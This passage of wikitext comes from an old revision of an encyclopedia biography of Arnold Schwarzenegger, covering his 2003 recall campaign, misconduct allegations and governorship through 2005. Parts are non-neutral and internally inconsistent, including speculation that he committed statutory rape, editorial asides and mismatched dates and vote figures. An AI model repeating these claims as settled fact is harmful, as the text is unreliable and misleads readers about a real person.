In the days and even hours leading up to the show's taping, political experts and insiders concluded that Schwarzenegger was leaning against running in California's [[October 7]] recall election. Even his closest advisors said he was probably not going to run. Rumors leading up to the announcement said that his wife, [[Maria Shriver]], a Kennedy family Democrat, was against his running, and he wanted her approval in order to run. When announcing his candidacy on [[The Tonight Show with Jay Leno|the Tonight Show]], he joked, &quot;It's the most difficult [decision] I've made in my entire life, except the one I made in 1978 when I decided to get a bikini wax&quot;. Ultimately, Shriver said she would support Schwarzenegger no matter what he chose, so he decided to run. Schwarzenegger told Leno, &quot;The politicians are fiddling, fumbling and failing. The man that is failing the people more than anyone is [[Gray Davis]]. He is failing them terribly, and this is why he needs to be recalled and this is why I am going to run for governor of the state of California.&quot;  

As a candidate in the recall election, Schwarzenegger had the most name recognition in a crowded field of candidates, but he had never held public office and his political views were unknown to most Californians. His candidacy was immediate national and international news, with media outlets dubbing him the &quot;Governator&quot; (referring to ''[[The Terminator]]'' movies, see above) and &quot;The Running Man&quot; (the name of another of his movies), and calling the recall election &quot;Total Recall&quot; (ditto) and &quot;Terminator 4: Rise of the Candidate&quot; (referring to his movie ''[[Terminator 3: Rise of the Machines]]''). Schwarzenegger was quick to make use of his well-known one-liners, promising to &quot;pump up [[Sacramento, California]]&quot; (the state capital) and tell [[Gray Davis]] ''hasta la vista''. At the end of his first press conference, he told the audience &quot;I'll be back.&quot;  Schwarzenegger looked to follow in the footsteps of former California governor and one-time movie star [[Ronald Reagan]].

However, due to his status as a [[naturalize]]d citizen, he would not be eligible to seek the [[President of the United States|Presidency]] unless the [[Constitution]] were to be amended (as proposed in 2000 by [[United States House of Representatives|Congressman]] [[Barney Frank]] ([[Democratic Party (United States)|D]]-[[Massachusetts|MA]]), and in July 2003 (the [[Equal Opportunity to Govern Amendment]]) by [[United States Senate|Senator]] [[Orrin Hatch]] ([[Republican Party (United States)|R]]-[[Utah|UT]])). Among his campaign team were Democrat actor [[Rob Lowe]], Democrat sounding billionaire [[Warren Buffett]], and moderate [[George Shultz]] (former Nixon and Reagan aide).

[[Image:Arnold Schwarzenegger sexual harassment protestors750.jpg|thumb|300px|Sexual harassment protesters]]

During the campaign, allegations of sexual and personal misconduct were raised against Schwarzenegger (see [[Gropegate]]). Within the last five days before the election, news reports appeared in the ''[[Los Angeles Times]]'' recounting allegations of sexual misconduct from several individual women, sixteen of whom eventually came forward with their personal stories. Chronologically, they ranged from Elaine Stockton, who claimed that Schwarzenegger groped her breast at a [[Gold's Gym]] in 1975 (she was 19 at the time), to a 51 year old woman who said that he pinned her to his chest and spanked her shortly after she met him in connection with production of his film, ''[[The Sixth Day]]'', in 2000. Schwarzenegger admitted that he has &quot;behaved badly sometimes&quot; and apologized, but also stated that &quot;a lot of (what) you see in the stories is not true&quot;. This came after a magazine interview from the same era (1975) surfaced in which Schwarzenegger discussed attending sexual orgies and indulging in drugs like [[marijuana]] and [[cocaine]] (see
[http://www.sfgate.com/cgi-bin/article.cgi?f=/news/archive/2003/10/03/state1434EDT0082.DTL]], [[http://www.thesmokinggun.com/archive/arnoldinter1.html]], [[http://www.latimes.com/news/printedition/front/la-me-women2oct02,1,4493659,print.story]). 

Allegations printed on the front page of ''[[The Los Angeles Times]]'', based on selective quotation, which Schwarzenegger claimed not to recall, were also made that he at one time admired [[Adolf Hitler]] and had praised him as a great propagandist. However the full text of the statement from which the quotation was taken significantly reduces the credibility of the allegations. Although Schwarzenegger's father was in fact a member of the [[Nazi]] party, Schwarzenegger has been a strong supporter of various Jewish groups, and has denounced the principles of the fascist German regime, saying &quot;I have always despised everything that Hitler stands for&quot;.

March 1992 [[Spy Magazine]] article mentions a story confirmed by &quot;a businessman and longtime friend of Schwarzenegger's&quot; -- that in the '70s Arnold &quot;enjoyed playing and giving away records of Hitler's speeches&quot; (see [http://www.s-t.com/daily/12-96/12-25-96/c06ae100.htm]]). Schwarzenegger supported the campaign of his friend, [[Kurt Waldheim]], former [[UN]] chief and a former Austrian politician who was accused of [[war crimes]] during World War II in [[Yugoslavia]], which resulted in both Waldheim, and his wife, Elisabeth, both of whom belonged to the Nazi Party, being excluded from entering the [[United States]]. Schwarzenegger's name remained on Waldheim's campaign posters, even after allegations of Waldheim's war crimes were brought to light. Waldheim was also invited to Arnold's wedding with [[Maria Shriver]], but declined (see [[http://arnoldexposed.com/arnold.htm#nazi]).

These allegations were brought up mainly in the context of his campaign, but they continue to be occasionally used by some critics. [[Garry Trudeau]], the [[cartoonist]] behind the [[comic strip]] [[Doonesbury]], combined the allegations by nicknaming Schwarzenegger &quot;Herr Gröpenführer&quot; and depicting Schwarzenegger as a huge, groping hand in his artwork. 

A slightly smaller scandal arose when campaign ads were shown to have citizens of California out of focus, but products from campaign contributors clear. This got little press but still angered many.
On [[October 7]], [[2003]], the [[2003 California recall]] resulted in Governor [[Gray Davis]] being recalled with 55.4% of the ''Yes'' vote. Schwarzenegger was elected Governor of California under the second question on the ballot with 48.6% of the vote, defeating Democrat [[Cruz Bustamante]], fellow Republican [[Tom McClintock]] and others. In total, Arnold won the election by about 1.3 million votes.

He was sworn into office on [[November 17]], [[2003]]. Schwarzenegger's inauguration was opened by [[Vanessa Lynn Williams]], his co-star from ''[[Eraser (movie)|Eraser]]'', singing the [[The Star-Spangled Banner|National Anthem]]. Hollywood attendees included [[Danny DeVito]], [[Rhea Perlman]], [[Dennis Miller]] and [[Rob Lowe]] (Only Miller is a Republican). The Schwarzenegger children joined others in reciting the [[Pledge of Allegiance]], then [[Maria Shriver]] spoke and held the Bible while Schwarzenegger was sworn into the office of Governor. He spoke briefly: &quot;Today is a new day in California. I did not seek this office to do things the way they've always been done. What I care about is restoring your confidence in your government... This election was not about replacing one man. It was not replacing one party. It was about changing the entire political climate of our state.&quot;

===Governorship===
[[Image:BushCAGovs.jpg|right|thumb|300px|Arnold Schwarzenegger, [[President of the United States|President]] [[George W. Bush]], and [[Gray Davis]] speak to firefighters on [[November 4]], [[2003]].]]

[[Image:Arnold and Edmund 1.jpg|thumb|300px|Arnold Schwarzenegger and [[Bavaria]]'s minister president [[Edmund Stoiber]].]]

In his first few hours in office Schwarzenegger fulfilled his campaign promise to repeal an unpopular 200% increase in vehicle license fees undertaken to fund the state's budget. The increase was a restoration to 1998 levels. On his first full day in office, Schwarzenegger proposed a three-point plan to address the budget woes. First, Schwarzenegger proposed floating $15,000,000,000 (USD) in [[bond]]s. Second, he urged voters to pass a [[constitutional amendment]] to limit state spending. Third, he sought an overhaul of [[workers' compensation]]. Schwarzenegger also called the state legislature into a special session and said that spending cuts would also be necessary. He initiated the cuts by agreeing to serve as governor with no salary, a savings of $175,000 (USD) per year.  

To fulfill the first two points, he urged California voters to pass [[California Proposition 57 (2004)|Proposition 57]] and [[California Proposition 58 (2004)|Proposition 58]] in the [[March 2]], [[2004]], election, which authorized the sale of $15 billion in bonds and mandated balanced budgets, respectively. Despite initially tepid support from the public, the combination of heavy campaigning by Schwarzenegger, endorsements from a number of leading Democrats, and warnings about the dire consequences should the propositions fail to pass, led to overwhelming votes in favor of the two propositions. Prop. 57 passed with 63.3% of the votes in favor and Prop. 58 passed with 71.0% in favor. He accomplished the third point when he signed a workers' compensation reform bill on [[April 19]], [[2004]]. Schwarzenegger convinced the Democratic-controlled state legislature to approve the package by threatening to take the issue directly to state voters in a November ballot initiative if the legislature did not act.

Schwarzenegger was later criticized for reneging on his campaign pledges not to take money from special interests and for failing to answer directly the sexual harassment allegations raised by the ''[[Los Angeles Times]]'' immediately preceding the recall election. However, Schwarzenegger made a point shortly after becoming governor of voluntarily attending a training course conducted by the state Attorney General's office on preventing sexual harassment (along with several members of his senior staff). Schwarzenegger continues to collect campaign contributions from private interests (see [http://arnoldwatch.org/special_interests/index.html]]) at a greater rate than any politician in California history, including Gray Davis, whom he criticized on that very issue (see [[http://www.nbc4.tv/politics/2385057/detail.html]).

In February 2004 when [[San Francisco]] city mayor, [[Gavin Newsom]], ordered a change in the certificate application documents to allow for [[same-sex marriage]]s, Governor Schwarzenegger opposed the move as being beyond the powers of the mayor, but also said that he supports gay rights and has expressed support for a law to grant [[civil unions]] to gay couples. 

In 2005 when he vetoed a bill that would have legalized same-sex marriages he defended his actions by saying that California voters had passed an initiative banning such recognition and that he supports that state's domestic partnership law that gives same-sex couples many of the same rights as a heterosexual married couple. 

Still, critics have observed that there is no federal requirement that other states recognize a state-granted domestic partnership, as is the case with marriages under the [[Full Faith and Credit Clause]] of the United States Constitution. 

Also in February 2004, he declined [[amnesty]] to convicted murderer [[Kevin Cooper]] who had asked him for clemency in his [[death penalty]] sentence. Nevertheless, Cooper's planned [[Execution (legal)|execution]] was stayed by the [[Ninth U.S. Circuit Court of Appeals]] pending a revisiting of evidence. The first execution under his administration was that of [[Donald Beardslee]]. 

[[Austrian Green Party]] spokesman, [[Peter Pilz]], later called for Schwarzenegger to be stripped of his Austrian [[citizenship]]. Pilz claimed that Austrian law forbids any Austrian citizen from taking part in or ordering executions. However, Schwarzenegger does not appear to be in any danger of losing his Austrian citizenship.

The governor has granted [[clemency]] to a number of [[Felony|convicted felons]] &amp;ndash; more than Democrat predecessor Gray Davis, who presided over numerous executions. The power of clemency is often controversial. After a longer period of consideration than is usual, on [[December 12]], [[2005]], Schwarzenegger denied clemency to quadruple murderer [[Stanley Tookie Williams]], who was executed on [[December 13]]. In a statement (see [http://news.bbc.co.uk/1/hi/world/americas/4523352.stm]) Schwarzenegger argued not on the grounds that Williams' actions were beyond atonement: instead he appeared to acknowledge that atonement was possible, but Williams had not done so, Schwarzenegger stating that &quot;the one thing [apologising for the four murders he committed] that would be the clearest indication of complete remorse and full redemption is the one thing Williams will not do.&quot;

Despite expectations that Schwarzenegger would be vulnerable to opposition critics once taking office, his early governorship showed some successes. He has dealt successfully with California politicians as diverse as [[John Burton]] on the left to [[Tom McClintock]] on the right. At the end of May, 2004, the Field poll put his popularity at 65%, the highest for a California governor in 45 years, including 41% of Democrats, party adherents of his opposition. By comparison, former [[United States President]] [[Ronald Reagan]], known as &quot;the Great Communicator,&amp;quot; never hit 60% approval while serving as California governor. (see [http://www.latimes.com/news/local/politics/cal/la-me-lopez28may28,1,2650515.column?coll=la-news-politics-california]) 

In March, 2004 libertarian policy research foundation, [[The Cato Institute]], rated him 1st in their 1994 fiscal policy report card (see [http://www.cato.org/pub_display.php?pub_id=3691]) of the tax and spending policies of the nation's governors.

In July 2004, however, Schwarzenegger and the state legislature deadlocked, failing to approve the state budget on time. Trying to rouse public support for his position, he compared lawmakers to kindergartners who need a &quot;timeout,&quot; and in a rally of supporters called his budget opponents &quot;girlie men&quot; (a reference to a long-running ''[[Saturday Night Live]]'' skit parodying Schwarzenegger). He said about the legislators: &quot;They are part of a bureaucracy that is out of shape, that is out of date, that is out of touch and that is definitely out of control in Sacramento. They cannot have the guts to come out there in front of you and say, 'I don't want to represent you. I want to represent those special interests: the unions, the trial lawyers.' ... if they don’t have the guts, I call them girlie-men. They should get back to the table and they should finish the budget.&quot; The remark became national news and was not received well by his opponents, including gay advocacy and feminist groups who labeled it homophobic and sexist, in spite of his earlier support for gay rights (see the Gavin Newsom incident above), not to mention the legislators themselves. Others however, were quick to point out that the critics actually were expressing a sentiment of latent [[homophobia]] themselves because they automatically connected the phrase &quot;girlie-men&quot; with [[homosexual]]s. His supporters made &quot;girly men&quot; T-shirts and the Governor continued to use the term, including when he addressed the [[Republican National Convention]] in NYC, calling critics of the current U.S. economic situation &quot;economic girlie men&quot;.

Despite what some viewed as political snags during the summer, the Field polls released in August and October 2004 showed that Schwarzenegger's approval rating remained at 65%. Additionally, in October, for the first time in four years a plurality of Californians felt the state was &quot;on the right track&quot;.  

However, when asked if they would support Schwarzenegger if he could run for president, 50% said they would oppose, while only 26% said they would support the governor in a presidential bid (see [http://field.com/fieldpollonline/subscribers/RLS2137.pdf]).

====Spring 2005====
&lt;!--Please remember to report neutrally in this section--&gt;
In the spring of 2005, polls began showing Schwarzenegger's approval ratings had dropped to between 40-49%.
(See [http://www.latimes.com/news/local/la-me-cap7apr07,1,63188.column?coll=la-headlines-california&amp;amp;ctrack=3&amp;cset=true],
[http://www.woai.com/news/local/story.aspx?content_id=A367E183-FC31-4616-8669-4FD5D36181D4],
[http://www.surveyusa.com/50governorsrated051005.htm], 
[http://www.bloomberg.com/apps/news?pid=10000103&amp;sid=ac98Wx3eNeSw&amp;refer=us].)

On [[June 13]], [[2005]], Schwarzenegger called a [[California special election, 2005|statewide special election]] for [[November 8]], [[2005]], to vote on a series of reform measures he initially proposed in his 2005 State of the State address. A non-partisan Field poll released a week later showed his support had dropped to 37%, one of the lowest approval ratings for any California governor and barely above the support of recalled former Governor, [[Gray Davis]] (see [http://www.sfgate.com/cgi-bin/article.cgi?f=/n/a/2005/06/21/state/n060039D76.DTL]).  

Schwarzenegger's spokesman responded that Schwarzenegger had not yet had enough time to explain his proposals to voters. The Legislature also shared low approval ratings, with just 24% of voters saying they approve of the job lawmakers have been doing. That represents a drop of 10% since February. The governor has responded that the poll sends a &quot;very clear message to us. They are saying they want us to work together.&quot; He has also responded &quot;I know popularity goes up and down... as soon as you start making decisions and strong decisions, sometimes they're not popular decisions.&quot; (see [http://www.foxnews.com/story/0,2933,159854,00.html], video, right side) 

Republicans have claimed that the drop in popularity was due to a multi-million dollar ad campaign by various groups such as unions for nurses, police and firefighters, who opposed his plans for the state pension and his administration's lawsuit to delay implementation of a nurse-to-patient staffing ratio plan. In late June 2005, another non-partisan Field Poll had similar numbers as the earlier one, finding that 57% of California voters are not inclined to elect Schwarzenegger to a second term as Governor in 2006 (see [http://news.yahoo.com/news?tmpl=story&amp;u=/nm/20050629/pl_nm/politics_fieldpoll_dc_3]], [[http://news.yahoo.com/news?tmpl=story&amp;u=/afp/20050621/ts_alt_afp/uspolitics_050621195840]).  

When asked about the lessons of the poll, Schwarzenegger has responded &quot;People make mistakes sometimes, and I think that we learn. [...] These are very clear messages that we must work together, and so I am looking forward to that.&quot;

To some degree, Governor Schwarzenegger's unpopularity has had to do with his confrontations with three popular labor groups: nurses, teachers, and firefighters. Some unions and activists reacted with anger (see [http://www.sfist.com/archives/2005/04/05/fk_arnold_nurses_firefighters_and_teachers_protest_the_governator.php],
[http://www.mercurynews.com/mld/mercurynews/news/politics/12112103.htm],
[http://cbs5.com/topstories/local_story_192212252.html],
[http://www.mercurynews.com/mld/mercurynews/news/local/states/california/northern_california/11964407.htm]), and others with humor (see [http://msnbc.msn.com/id/7445648/site/newsweek/],
[http://arnoldwatch.org/assets/governator_rap.mp3],
[http://talent.pratt.edu/user/114/114_-711700702-main.jpg]).

====Summer 2005====
=====Accusation of conflict of interest=====
While governor, Schwarzenegger continued to hold a position of executive editor of two [[American Media]] magazines. He announced in March 2004 that his $250,000 a year salary would be donated to charity. Schwarzenegger has an extensive history with the magazines and was frequently their star in his body-building days. As executive editor, he produces monthly columns based on his body-building history.

Schwarzenegger drew fire when a second contract, a consulting position, was subsequently discovered in [[SEC filing]]s, by the ''L.A. Times''. This second contract would net him an estimated $8,000,000 (USD) over the next five years (see [http://www.latimes.com/features/health/nutrition/la-me-bill15jul15,1,6217015.story?coll=la-health-nutrition-news]).  His consulting duties are not clear, except that the job allegedly &quot;takes up little time.&quot;  

''[[The New York Times]]'' further reported (on July 15) that under the five-year November 2003 contract, signed two days before his inauguration as Governor, '''Oak Productions''', Mr. Schwarzenegger's company, is to receive 1 % of the net print advertising revenues of '''Weider Publications'''. But the payment must be at least $1,000,000 (USD) per year. Mr. Schwarzenegger has also been granted '''phantom equity''', a way of sharing in the growth of the value of the company. The equity could become worth  1% of the company's value, which was stated at the time of the contract as $520,000,000 (USD)&quot; (see [http://www.nytimes.com/2005/07/15/national/15calif.html?ex=1279080000&amp;en=d59de5489ea19d3b&amp;ei=5090&amp;partner=rssuserland&amp;emc=rss]).

This contract was seen as a conflict of interest by critics, who note that the magazines receive much of their revenue from advertisements for dietary supplements, a government-regulated industry affected by Schwarzenegger's veto (September 2004) of a bill that would ban schools from accepting sponsorships from firms that make performance-enhancing dietary supplements. In Schwarzenegger's reason for his veto, he drew a distinction between performance-enhancing dietary supplements and steroid usage, which he says is what needs to be prevented in high school students. (see [http://www.townhall.com/news/politics/200507/POL20050718a.shtml]).

Supporters point out that he did sign into law a bill that prohibited companies from selling the supplements to minors. Following the accusation, Schwarzenegger responded he would end the contracts with the magazines.

In August 2005, the [[Washington Post]] reported that American Media had paid former TV actress [[Gigi Goyette]], $20,000 (USD) to keep silent about a seven-year extramarital affair Schwarzenegger had with her beginning in 1975, when Goyette was 16 years old (see [http://www.washingtonpost.com/wp-dyn/content/article/2005/08/12/AR2005081201651_pf.html]]). Since the [[age of consent]] in California is 18 years, Schwarzenegger may have committed [[statutory rape]]. In addition, American Media's knowledge of the Goyette affair put it in a position of being able to [[blackmail]] Schwarzenegger, providing further reason for Schwarzenegger to align his interests with theirs.

Also in August, the ''[[Los Angeles Times]]'' reported that five non-profit organizations had collected $3,000,000 (USD), chiefly from large businesses, in order to help defray Schwarzenegger's personal and political expenses, including the rent on the $6,000-a-month hotel suite that Schwarzenegger uses when in Sacramento (see [http://ktla.trb.com/news/local/la-me-nonprofits24aug24,0,3132004.story?coll=ktla-news-1]]). The governor's spokesman subsequently reported that Schwarzenegger had directed the disclosure of the contributors to the &quot;residence fund&quot; (see [[http://www.latimes.com/news/opinion/la-ed-funds29aug29,0,213871.story?coll=la-home-oped]).

====Fall 2005====
On [[September 29]], [[2005]], Schwarzenegger vetoed the California gay marriage bill after it had passed both houses of the legislature (see [http://www.worldnetdaily.com/news/article.asp?ARTICLE_ID=46212], [http://www.southernvoice.com/thelatest/thelatest.cfm?blog_id=2680]). He stated that he vetoed the bill because he felt that it was in opposition to the will of the voters as expressed by [[Proposition 22]], that had passed in 2000 with 61.4% of the vote. Proposition 22 stated that only marriages between a man and a woman would be recognized in the state of California.

On [[September 16]], [[2005]], Schwarzenegger announced that he would seek a second term as governor. Despite his initially high approval ratings, a Field Poll conducted the week before indicated that only 36% of California voters were inclined to reelect him.

Schwarzenegger vetoed SB 469 (Bowen) October 7. It would have required people circulating petitions to say whether the signature gatherers are volunteers or are being paid to collect signatures.

Running up to the November special election, Schwarzenegger campaigned heavily throughout the state for his slate of propositions. Through an organization called &quot;Join Arnold&quot;, tens of millions of dollars were funneled into the state, mostly from corporate interests, to fund the campaign.  Schwarzenegger even reportedly spent 7 million dollars of his own money.  Schwarzenegger characterized the four propositions as being key to his reform agenda.  State unions and other groups opposed to the measures spent large sums of money opposing Schwarzenegger. Total spending by both sides leading up to the election was estimated at $300 million. 

Schwarzenegger made personal appearances at numerous so-called &quot;town hall meeting&quot; events throughout the state to promote the measures.   In reality these events were highly choreographed, and typically featured Hollywood-style set lighting and coordinated electronic displays. A group of four or so &quot;ordinary citizens&quot;, pre-selected by local Republican operatives, would appear on stage with Schwarzenegger to ask him questions at the appropriate time. The time and location of these events would not be released to the public until two hours in advance, to limit the time anti-Schwarzenegger forces had to organize protests.  

In the [[November 8]], [[2005]] special election, California voters dealt a devastating blow to Schwarzenegger by soundly rejecting all four ballot initiatives that Schwarzenegger had proposed to reform the state government. All propositions were defeated by a margin of at least 7 percentage points. The two propositions most key to Schwarzenegger's agenda, propositions 76 and 77, were defeated by 24 and 19 points respectively.

The defeat left Schwarzenegger significantly weakened politically, depriving him of the one source of leverage he had against the Democratic legislature. Some opponents took to calling him &quot;the One-terminator&quot;, a play on his popular role as &quot;the Terminator&quot; in films, implying that his chances of winning re-election had been diminished.

In the aftermath of the election, Schwarzenegger has moved back to the center. He has hired a former aide of [[Gray Davis]] as his chief of staff, and is working with California State Senate Majority Leader, [[Don Perata]], for development of a bond, estimated in the billions of dollars, to accelerate construction of [[infrastructure]] such as freeways and waterworks.

===Electoral History===
*'''2003 Recall Election for Governor'''
**Arnold Schwarzenegger (R), 49%
**[[Cruz Bustamante]] (D), 32%
**[[Tom McClintock]] (R), 13%

==Miscellaneous==
*On [[January 8]], [[2006]], while riding his [[Harley Davidson]] [[motorcycle]], with his son in the sidecar, another driver backed into the street he was riding on causing him and his son to collide with the car at a low speed. While his son and the other driver were unharmed, the govenor sustained a minor injury to his lip, forcing him to get 15 [[sutures]]. &quot;No citations were issued&quot; said officer Jason Lee, a police spokesman. Schwarzenegger, who famously rode motorcycles in the [[Terminator]] movies, has never actually obtained an M-1 or M-2 endorsement on his [[California]] [[driver's license]] that would allow him to legally ride one on the street. In December 2001, he broke six ribs and was hospitalized for four days after another motorcycle crash in L.A.

* In honor of its most famous son, Schwarzenegger's home town of [[Graz]] had named its [[soccer]] stadium after him. The Arnold Schwarzenegger Stadium, now officially titled [[Stadion Graz-Liebenau]], is the home of both [[Grazer AK]] and [[Sturm Graz]]. Following the [[Stanley Tookie Williams]] execution and after street protests in his home town, several local politicians began a campaign to remove Schwarzenegger's name from the stadium. Schwarzenegger responded, saying that &quot;to spare the responsible politicians of the city of Graz further concern, I withdraw from them as of this day the right to use my name in association with the Liebenauer Stadium&quot;. Graz officials removed Schwarzenegger's name from the stadium in December 2005 (see [http://news.bbc.co.uk/1/hi/world/europe/4560182.stm]).

* In a satirical tribute to Schwarzenegger in 2002, Forum Stadtpark, a local cultural association, proposed plans to build a 25-metre (82 foot) tall ''Terminator'' statue in a park in central Graz. Schwarzenegger reportedly said he was flattered, but thought the money would be better spent on social projects and the [[Special Olympics]] (see [http://www.killoggs.com/news/?news=609]).

* In 2005 [[Peter Pilz]] from the [[Austrian Green Party]] in parliament demanded to revoke Schwarzenegger's Austrian citizenship. This demand was based on article 33 of the Austrian citizenship act that states: '''A citizen, who is in the public service of a foreign country, shall be deprived of his citizenship, if he heavily damages the reputation or the interests of the Austrian Republic''' (see [http://news.bbc.co.uk/1/hi/world/americas/4198633.stm]). Pilz claimed that Schwarzenegger's actions in support of the death penalty (prohibited in Austria under Protocol 13 of the [[European Convention on Human Rights]]) had indeed done heavy damage to Austria's reputation. Schwarzenegger justified his actions by referring to the fact that his only duty as Governor of California was to prevent an error in the judicial system. &quot;Schwarzenegger has a lot of muscles, but apparently not much heart,&quot; said Julien Dray, spokesman for the Socialist Party in France, where the death penalty was abolished in 1981.

* Schwarzenegger as president of the U.S. was jokingly referenced in the 1993 [[Sylvester Stallone]] film, ''[[Demolition Man (film)|Demolition Man]],'' where a future America passed a constitutional amendment to allow [[naturalization| naturalized]] Americans like Schwarzenegger to become [[President of the United States]], and that film has reference to a &quot;Schwarzenegger Presidential Library&quot;.

* Because Schwarzenegger opted in 1997 for a replacement heart valve made of his own transplanted tissue, medical experts predict he will require repeated heart valve replacement surgery in the next two to eight years (as his current valve degrades). Schwarzenegger apparently opted against a mechanical valve, the only permanent solution available at the time of his surgery, because it would have sharply limited his physical activity and capacity to exercise.

* He bought the first [[Hummer]] manufactured for [[civilian]] use in 1992, a model so large, 6,300 lb (2900 kg) and 7 feet (2.1 m) wide that it is classified as a large truck and U.S. fuel economy regulations do not apply to it. During the Gubernatorial Recall campaign he announced that he would convert one of his Hummers to burn hydrogen (see [http://msnbc.msn.com/id/3180817/]). The conversion was reported to have cost about $21,000 (USD). After the election, he signed an executive order to jumpstart the building of hydrogen refueling plants called the &quot;California Hydrogen Highway Network&quot;, and gained a [[United States Department of Energy|DOE]] grant to help pay for its projected $91,000,000 (USD) cost (see [http://www.bmwworld.com/hydrogen/schwarzenegger.htm]). California took delivery of the first H2H (Hydrogen Hummer) in October 2004 (see [http://trucks.about.com/od/hybridcar/a/hummer_h2h.htm]).

* His fellow bodybuilder and actor, [[Sven-Ole Thorsen]], has collaborated with him in 15 movies so far.

* He has appeared alongside his fellow actor from [[Around the World in 80 Days (2004 film)|Around the World in 80 Days]], [[Jackie Chan]], in a government advert to combat piracy, (see [http://video.google.com/videoplay?docid=6443035544827856436&amp;q=Jackie+Chan&amp;pr=goog-sl]).

* Schwarzenegger's official height has usually been reported as 6'2&quot;, though some observers debit him two or three inches. While campaigning for [[George W. Bush]] in Ohio in 2004, he appeared only about an inch taller than the 5'11&quot; President. Schwarzenegger's weight while competing was in the 245 pound range; currently, he carries about 210 pounds.

* In 1983 Arnold Schwarzenegger starred in the promotional video &quot;Carnival in Rio&quot;, which ''could'' be seen as advertising [[sex tourism]] in [[Brazil]] (see [http://www.devilducky.com/media/38195/]).

==Net worth==
According to ([http://www.arnoldexposed.com/]), Schwarzenegger's net worth has been estimated  conservatively at $100,000,000 (USD), and over the years, he invested his bodybuilding and movie earnings in an array of stocks, bonds, privately controlled companies and real estate holdings in the US and worldwide. 

==See also==
* [[Spy Magazine]]

==External links==
{{wikiquote}}

{{commons|Arnold Schwarzenegger}}


===Official===
*[http://www.governor.ca.gov/ State of California - Office of Governor Arnold Schwarzenegger]
*[http://www.schwarzenegger.com/en/index.asp Arnold Schwarzenegger's Official Website] (Non-Political)
*[http://www.joinarnold.com/ Arnold Schwarzenegger's Official Political Website]
*[http://www.citizenstosaveca.org/ Citizens to Save California, a broad-based committee supporting the reform agendas of Governor Schwarzenegger and others ]

===Unofficial===
*[http://ezinearticles.com/?id=105280 Arnold's Office Refuses to Comment]
*[http://www.imdb.com/name/nm0000216/ Arnold Schwarzenegger] at [[The Internet Movie Database]]
* [http://www.twoop.com/people/archives/2005/10/arnold_schwarzenegger.html Arnold Schwarzenegger] - Timeline of his life
*[http://www.askmen.com/men/mar00/15_arnold_schwarzenegger.html Arnold Schwarzenegger on AskMen.com]
* [http://www.commandofans.com CommandoFans.com] A website and message board dedicated to the Schwarzenegger film ''Commando''.
* [http://news.bbc.co.uk/1/hi/entertainment/film/3131155.stm Arnold and the American dream] (BBC News)
* Greg Palast [http://www.gregpalast.com/detail.cfm?artid=283&amp;row=1 Arnold Unplugged] (exposé on the Schwarzenegger-Enron connection)
* [http://www.schwarzenegger.ca Schwarzenegger.ca] A bodybuilding forum, complete with a dedicated Arnold section
* [http://news.bbc.co.uk/media/video/39425000/rm/_39425228_arnie_speech_vi.ram Video: Arnold's victory speech] (BBC News)
* [http://www.languagemonitor.com/uploads/pjjp_au_interview.mp3 ArnoldSPEAK: The Governator's Impact on Language] 
* [http://100towatch.com/2008/arnold-schwarzenegger.html Arnold Schwarzenegger news and related links]
* [http://www.mediaman.com.au/profiles/schwarzenegger.html Arnold Schwarzenegger: King of bodybuilding, movies, politics and media]
* [http://www.globalarnold.com/ globalarnold.com] (Global Arnold Schwarzenegger fan community)
* [http://www.schwarzeneggergovernor.com/ Arnold Schwarzenegger Governor]
* [http://usliberals.about.com/b/a/235539.htm About.com's Arnold Schwarzenegger, California's Newest Democrat ]
* [http://www.arnoldexposed.com/ Anti-Schwarzenegger web site.]
* [http://www.arnoldcalls.com/ Site dedicated to Arnold Schwarzenegger prank calls.]
* [http://www.mashhur.com/item/commando Schwarzenegger's popularity in Pakistan]
* [http://arnoldaloisschwarzenegger.com/ Arnold Schwarzenegger] Unofficial Blog for Arnold Schwarzenegger
* [http://arnoldexposed.com/ Arnold Exposed] An unofficial website claiming to have evidence of Schwarzenegger's misconduct

==References==
* Arnold Schwarzenegger,  ''Arnold: Developing a Mr Universe Physique'', 1977
* ---- [http://www.thesmokinggun.com/archive/arnoldinter1.html Interview in ''Oui'' magazine, August 1977 ]
* ---- [http://www.time.com/time/nation/printout/0,8816,483264,00.html Excerpts from ''Time Out'' (London) interview, 1977] 
* ---- ''Arnold: The Education of a Bodybuilder'',  1983,  Simon &amp; Schuster, Reprint edition, 1993, ISBN  06717974841983. autobiography 
* ---- ''Arnold's Body Building for Men'',  Simon &amp; Schuster, Reprint edition, 1984, ISBN  0671531638
* ---- ''The New Encyclopedia of Modern Bodybuilding : The Bible of Bodybuilding'', 1985, Fully Updated and Revised, Simon &amp; Schuster, 1999, ISBN  0684857219
* Nigel Andrews, ''True Myths of Arnold Schwarzenegger : The Life and Times of Arnold Schwarzenegger, from Pumping Iron to Governor of California'', Bloomsbury USA, Revised edition, 2004, ISBN  1582344655
* Michael Blitz, ''Why Arnold Matters: The Rise of a Cultural Icon''
*Karen Brandon, ''Arnold Schwarzenegger''.
*Colleen A. Sexton, ''Arnold Schwarzenegger (A&amp;E Biography)'',  Lerner Publications, 2004, ISBN  0822522233
* Susan Zannos, ''Arnold Schwarzenegger (Real-Life Reader Biography)''
* Andy Borowitz, ''Governor Arnold : A Photodiary of His First 100 Days in Office'', Simon &amp; Schuster, 2004, ISBN  0743262662
* &quot;Arnold Schwarzenegger - Hollywood Hero&quot; DVD ~ Todd Baker
* &quot;Pumping Iron&quot; (25th Anniversary Special Edition) DVD ~ George Butler  
* {{imdb name|id=0000216|name=Arnold Schwarzenegger}}
*[http://www.cinemovie.info/ArnoldSchwarzenegger_scheda.html Cinemovie.Info: Arnold Schwarzenegger]

{{start box}}
{{incumbent succession box|
  title=[[List of Governors of California|Governor of California]]|
  before=[[Gray Davis]]|
  start=2003|
}}
{{end box}}

{{CAGovernors}}

{{Template:Current U.S. governors}}

[[Category:1947 births|Schwarzenegger, Arnold]]
[[Category:Roman Catholic politicians|Schwarzenegger, Arnold]]
[[Category:Roman Catholics|Schwarzenegger, Arnold]]
[[Category:Actor-politicians|Schwarzenegger, Arnold]]
[[Category:American bodybuilders|Schwarzenegger, Arnold]]
[[Category:American entrepreneurs|Schwarzenegger, Arnold]]
[[Category:Austrian actors|Schwarzenegger, Arnold]]
[[Category:Austrian-Americans|Schwarzenegger, Arnold]]
[[Category:Batman actors|Schwarzenegger, Arnold]]
[[Category:Film actors|Schwarzenegger, Arnold]]
[[Category:Foreign-born US political figures|Schwarzenegger, Arnold]]
[[Category:Governors of California|Schwarzenegger, Arnold]]
[[Category:Kennedy family|Schwarzenegger, Arnold]]
[[Category:Living people|Schwarzenegger, Arnold]]
[[Category:Naturalized citizens of the United States|Schwarzenegger, Arnold]]
